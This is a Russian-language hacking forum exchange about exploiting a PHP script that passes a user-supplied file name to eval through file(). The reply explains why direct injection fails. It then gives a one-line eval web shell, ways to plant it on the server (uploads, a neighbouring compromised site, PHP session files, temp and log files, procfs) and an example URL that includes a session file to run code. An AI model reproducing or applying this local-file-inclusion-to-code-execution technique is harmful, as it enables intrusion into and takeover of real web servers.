В скрипте есть такой код Code: $file=$_GET['file']; echo eval('?>'.join("",file("dir/$file")).'<?'); Скрипт получает параметром имя файла из папки dir и выводит результат его выполнения. Как видно file вставлен в код без какого либо экранирования, но использовать эту фишку для внедрения шелла никак не получается Даже в тестовом режиме просто вместо file если передаю конструкцию для выполнения print(1) - не пашет Code: $file='")).print(1).(("'; echo eval('?>'.join("",file("see/$file")).'<?'); хотя если сразу вставить значение переменной в код - пашет Code: echo eval('?>'.join("",file("see/")).print(1).(("")).'<?');
Имея нечто подобное: PHP: $file=$_GET['file'];echo eval('?>join("",file("dir/'.$file.'"))<?'); Ваши тесты оправдали бы себя В вашем же примере, данные для обработки в eval, это строка получаемая в результате склейки содержимого файла. Пользовательский ввод из $_GET['file'], сначала обрабатывается функцией file, далее строки склеиваются и только этот результат попадает в конечную строку обрабатываемую eval. Для успешной атаки, вам нужно загрузить свой файл на сервер. Примерно с таким содержимым: PHP: <?phpeval($_REQUEST['code']);?> Сделать это можно разными способами, используя встроенный функционал скриптов, загрузка картинок как пример. Взломать сайт по соседству и разместить свой файл во временной директории. Если же такой возможности нет, можно использовать файлы сессий PHP, временные файлы, лог файлы и procfs. После успешной отправки и определения точного местоположения вашей нагрузки, ипользовать найденную вами уязвимость, примерно в таком виде: Code: http://your-site.com/vulnerable-script.php?file=/tmp/sess_db459ddca34fd63261084684bed71f7c&code=phpinfo();